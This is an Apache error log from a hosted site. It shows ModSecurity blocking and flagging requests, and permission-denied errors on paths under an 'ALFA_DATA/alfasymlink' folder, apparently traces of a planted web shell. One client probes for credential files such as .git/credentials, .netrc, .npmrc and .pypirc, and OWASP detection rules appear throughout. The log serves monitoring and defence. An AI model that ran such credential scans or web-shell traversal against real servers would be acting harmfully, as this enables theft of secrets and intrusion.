[Sun Oct 25 00:24:46.274409 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 100.29.63.24:44950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ehci-pci/new_id
[Sun Oct 25 00:24:50.156827 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 44.206.93.215:29051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory9/subsystem/drivers_probe
[Sun Oct 25 00:25:09.185606 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 185.191.171.17:15694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/cache_dma
[Sun Oct 25 00:25:14.159083 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.204.71.8:61825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:25:18.139230 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 35.169.102.85:39310] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:25:22.143374 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 98.83.10.183:21866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:25:26.148011 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.4.76.156:43431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:25:34.155067 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.221.222.168:52384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:02.163827 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 34.194.165.45:36925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:02.657115 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.5:60114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/slab_size
[Sun Oct 25 00:26:06.755936 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 185.191.171.16:11784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/destroy_by_rcu
[Sun Oct 25 00:26:10.230741 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 35.171.117.160:14368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:11.895217 2026] [security2:error] [pid 2759096:tid 2759096] [client 45.130.203.158:31921] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E42TNY6y0aXZ6joCalwAAADk"]
[Sun Oct 25 00:26:11.895468 2026] [security2:error] [pid 2759096:tid 2759096] [client 45.130.203.158:31921] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E42TNY6y0aXZ6joCalwAAADk"]
[Sun Oct 25 00:26:11.895783 2026] [security2:error] [pid 2759096:tid 2759096] [client 45.130.203.158:31921] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E42TNY6y0aXZ6joCalwAAADk"]
[Sun Oct 25 00:26:11.896334 2026] [security2:error] [pid 2762182:tid 2762182] [client 45.130.203.185:20433] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E47Cux6YzXC46yX1ORQAAACY"]
[Sun Oct 25 00:26:11.896476 2026] [security2:error] [pid 2762182:tid 2762182] [client 45.130.203.185:20433] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E47Cux6YzXC46yX1ORQAAACY"]
[Sun Oct 25 00:26:11.896733 2026] [security2:error] [pid 2762182:tid 2762182] [client 45.130.203.185:20433] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2E47Cux6YzXC46yX1ORQAAACY"]
[Sun Oct 25 00:26:14.261958 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 34.225.243.131:27777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:18.221261 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.86.59.155:16863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:21.747219 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.19:63432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:22.158985 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.195.248.30:36668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:30.943191 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.209:18788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/cpu_slabs
[Sun Oct 25 00:26:37.730788 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.11:12756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/initialize_360monitoring
[Sun Oct 25 00:26:46.154059 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.210.204.255:50337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:26:58.165575 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.214.176.44:55055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:27:06.138903 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 18.213.102.186:27790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0c/eject
[Sun Oct 25 00:27:08.222938 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.14:27696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/total_objects
[Sun Oct 25 00:27:12.553157 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 50.16.248.61:48339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:27:18.173914 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 184.73.239.35:64082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/cpu0/driver/bind
[Sun Oct 25 00:27:30.244135 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 3.213.85.234:61609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/uevent
[Sun Oct 25 00:27:32.751941 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 23.21.148.226:61829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:27:40.192827 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 85.208.96.208:61896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:27:42.154700 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.203.111.15:44267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:28:02.161937 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 98.84.60.17:9178] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:28:15.016351 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:44886] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2FXtsOgdpl1YJRCNQVggAAAEU"]
[Sun Oct 25 00:28:15.016669 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:44886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2FXtsOgdpl1YJRCNQVggAAAEU"]
[Sun Oct 25 00:28:15.016962 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:44886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2FXtsOgdpl1YJRCNQVggAAAEU"]
[Sun Oct 25 00:28:15.017377 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:44886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2FXtsOgdpl1YJRCNQVggAAAEU"]
[Sun Oct 25 00:28:15.074656 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:44898] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at2FX2noVolia533WIkgvQAAADQ"]
[Sun Oct 25 00:28:15.074945 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:44898] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at2FX2noVolia533WIkgvQAAADQ"]
[Sun Oct 25 00:28:15.075202 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:44898] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at2FX2noVolia533WIkgvQAAADQ"]
[Sun Oct 25 00:28:15.075503 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:44898] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at2FX2noVolia533WIkgvQAAADQ"]
[Sun Oct 25 00:28:15.132514 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:44906] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git-credentials"] [unique_id "at2FX5nH_N6a0offkOBEywAAACg"]
[Sun Oct 25 00:28:15.191192 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:44912] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.gitconfig"] [unique_id "at2FX2TNY6y0aXZ6joCanAAAADk"]
[Sun Oct 25 00:28:15.249830 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:44914] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at2FX7Cux6YzXC46yX1OSgAAACY"]
[Sun Oct 25 00:28:15.250134 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:44914] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/configf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at2FX7Cux6YzXC46yX1OSgAAACY"]
[Sun Oct 25 00:28:15.250354 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:44914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at2FX7Cux6YzXC46yX1OSgAAACY"]
[Sun Oct 25 00:28:15.250612 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:44914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at2FX7Cux6YzXC46yX1OSgAAACY"]
[Sun Oct 25 00:28:15.308445 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:44916] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.netrc"] [unique_id "at2FX1TnwNJm6o1fQZIgAwAAAAI"]
[Sun Oct 25 00:28:15.366781 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:44930] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/_netrc"] [unique_id "at2FXxzh2uHYztX7tG5leQAAADw"]
[Sun Oct 25 00:28:15.426035 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:44940] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.npmrc"] [unique_id "at2FXzuLxR3FUbX6v9XEGAAAAAc"]
[Sun Oct 25 00:28:15.485163 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:44948] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.pypirc"] [unique_id "at2FX2Qyb15Iqx39xvm2NQAAAC4"]
[Sun Oct 25 00:28:15.543632 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:44956] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.yarnrc"] [unique_id "at2FX8mYnImk6kHi8hyMXwAAADA"]
[Sun Oct 25 00:28:15.601401 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:44968] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.gem/credentials"] [unique_id "at2FX9sOgdpl1YJRCNQVgwAAAEU"]
[Sun Oct 25 00:28:15.661049 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:44970] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.config/gh/hosts.yml"] [unique_id "at2FX2noVolia533WIkgvgAAADQ"]
[Sun Oct 25 00:28:15.720248 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:44984] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.config/gh/config.yml"] [unique_id "at2FX5nH_N6a0offkOBEzAAAACg"]
